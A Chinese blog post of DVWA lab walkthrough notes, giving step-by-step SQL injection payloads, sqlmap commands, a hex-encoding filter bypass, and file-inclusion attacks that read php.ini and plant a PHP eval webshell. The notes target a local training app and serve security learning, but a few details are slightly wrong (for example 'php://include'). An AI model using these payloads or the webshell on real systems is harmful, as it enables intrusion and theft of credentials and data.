首页 > 其他分享 >DVWA通关笔记(一)

DVWA通关笔记(一)

时间:2023-02-05 11:45:38浏览次数:58  
标签:php -- dvwa DVWA 笔记 table 页面 id 通关

DVWA通关笔记

SQL注入

LOW

1.寻找注入点

?uid=1'

----------------页面报错

?uid=1’ --+ 

------------------页面正常

则为单引号闭合

2.判断列数

?uid=1' order by 3--+

--------------------------页面报错

?uid=1' order by 2--+

--------------------------页面正常

则有2列

3.判断回显显示位置

?uid=-1' union select 1,2 --+ 

----------------------执行失败

原因:提示缺少一个单引号闭合,在最末尾添加一个单引号即可

​ 关于SQL注入的注释符问题:

​ --a,--空格,--+,#,--%20,%23,末尾引号闭合

​ +在sql中被认为是空格的意思,等同于--空格

​ 注意:区别直接在URL中输入--+和在提交框中输入--+!URL中的--+可以被解析,#不行,提交框中直接使用#

​ 提交框是POST请求!URL是GET请求

?uid=-1' union select 1,2# 

-----------------------执行成功

有两个回显位

4.查询数据库名字

uid=-1' union select database(),version() #

------------------------------执行成功

数据库名字为dvwa

版本为5.7.26

5.查询dvwa库中的所有表

uid=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

报错:Illegal mix of collations for operation 'UNION'

解决方法:

参考https://blog.csdn.net/qq_43665434/article/details/114088565

在mysql中:

use dvwa;
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;

修改后上述命令就可以成功执行了。

查询到的表格:guestbook,users

6.查询users表中的列名

uid=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' # 

---------------------------------执行成功

查询到的列:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.查询user,password信息

uid=-1' union select group_concat(user),group_concat(password) from dvwa.users #

仍旧可能出现Illegal mix of collations for operation 'UNION'的报错,可以直接将phpstudy中的mysql设置为8.0版本

查询到的数据:

user:admin,gordonb,1337,pablo,smithy

password:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

password采用md5解密即可

8.SQLMAP注入

sqlmap -u "链接" (注意!连接中是?id=1,不用故意写错)

出现了302重定向,返回了登录页面--------------------添加cookie解决

登录后抓包,提取数据包中的cookie信息

再在sqlmap中写入

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="提取到的cookie" --batch(自动选择)

成功得到payload

获取数据库名字:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch --dbs

获取dvwa中的表名:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa --tables

获取users表中的列:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users --columns

获取user,password这两列的信息:

sqlmap -u"链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx"  --batch -D dvwa -T users -C user,password --dump(显示数据)

MEDIUM

1.寻找注入点

该关页面上没有明确的注入点(没有URL,表单提交)

打开页面后此时只有几个选项和提交按钮,为了寻找到注入点,我们可以使用burpsuite

点击提交后发现抓到的数据包请求类型为POST 且请求中有id=1,尝试修改为id=1' ------------------------------页面报错

id=1' # 

--------------------报错

各种尝试后,发现为数字型注入,即不使用符号对数字进行闭合

2.判断列数

id=1 order by 3 # 

-------------------------页面报错

id=1 order by 2 #

-------------------------页面正常

列数为2

3.判断回显位

id=-1 union select 1,2 # 

--------------------页面正常

两个都是回显位

4.查询数据库名字

id=-1 union select 1,database() # 

--------------页面正常

数据库名字为dvwa

5.查询dvwa库中的表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

页面报错,原因:

该关的单引号被转义,无法使用

法一:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

法二:十六进制绕过

在线转换器:http://tool.huixiang360.com/str/hex.php

将dvwa转换为64767761(注意dvwa不用加引号)

在burp中写为0x64767761

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

-------------------------执行成功

6.查询users中的列名

table_name='users'同理,将users转化为16进制

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

执行成功

7.查询users中user,password信息

 id=-1 union select user, password from users#

------------------执行成功

8.SQLMAP注入

因为无法直接在url中注入,也没有表单提交,只能将burp中抓到的包保存在sqlmap同一目录下的txt文件中。

sqlmap.py -r 文件根路径 --batch
……

HIGH

该关点击链接实现跳转,防御了SQLMAP注入,手工注入步骤和之前相同

sqlmap实现注入待补充

SQL盲注

盲注:没有回显位,没有报错信息,所以可以通过页面状态来判断

LOW

1.寻找注入点

id=1

-----------------------页面显示存在

id-1'

---------------------页面显示不存在

id=1'#

--------------------页面显示存在

所以判断为单引号闭合字符型注入

2.判断列数

id=1' order by 3#

------------------页面显示不存在

id=1' order by 2#

-----------------页面显示存在

列数为2

3.判断回显位置

盲注,页面无回显位。

4.查询数据库名字

盲注可以采用布尔盲注,时间盲注等

file inclusion

1.找路径

先试试服务器系统是不是Linux:

127.0.0.1/dvwa/vulnerabilities/fi/?page=etc/shaow

/etc/shaow 是Linux系统的系统路径

--------------------报错,服务器不是Linux系统 且显示文件的绝对路径为No such file or directory in D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php

使用绝对路径访问服务器的配置文件php.ini

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\php.ini

显示结果:

; This file attempts to overwrite the original php.ini file. Doesnt always work.

magic_quotes_gpc = Off
allow_url_fopen = on
allow_url_include = on

2.文件包含利用

allow_url_fopen和allow_url_include打开时,可以使用远程文件包含/伪协议

远程文件包含

?page=远程文件的路径

(本地文件包含就写本地绝对路径)

上述文件的内容为php代码,访问该url,文件中的php代码就会被执行。

因此,可以在文件中写入php一句话木马,访问url后,可以使用蚁剑连接该文件,获取webshell权限。

?page=C:\Users\butterscotch-ljs\Desktop/shell.jpg

其中,shell.jpg的内容代码为:

<?fputs(fopen("shell.php", "w"),'<?eval($_POST[abc]);?>')?>

执行后,在D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\vulnerabilities\fi目录下(即index.php同目录)生成了一个shell.php,可以用蚁剑连接。(注意,dvwa需要登录,需要现在蚁剑上右键浏览网站提前登录)

url地址:http://127.0.0.1/dvwa/vulnerabilities/fi/shell.php

密码:abc

成功获取webshell

伪协议:

1.php://include (执行输入的php代码)

在url中输入

?page=php://include

burpsuite抓包后在数据包末尾加入php代码如

<?php echo phpinfo(); ?>

发包,即可执行成功

也可以用POST方法提交(但是我的maxhackbar现在好像有点问题...)

2.data://

在url中输入

?page=data://text/plain,<?php%20phpinfo();?>

执行成功

标签:php,--,dvwa,DVWA,笔记,table,页面,id,通关
From: https://www.cnblogs.com/arongsec/p/17093081.html

相关文章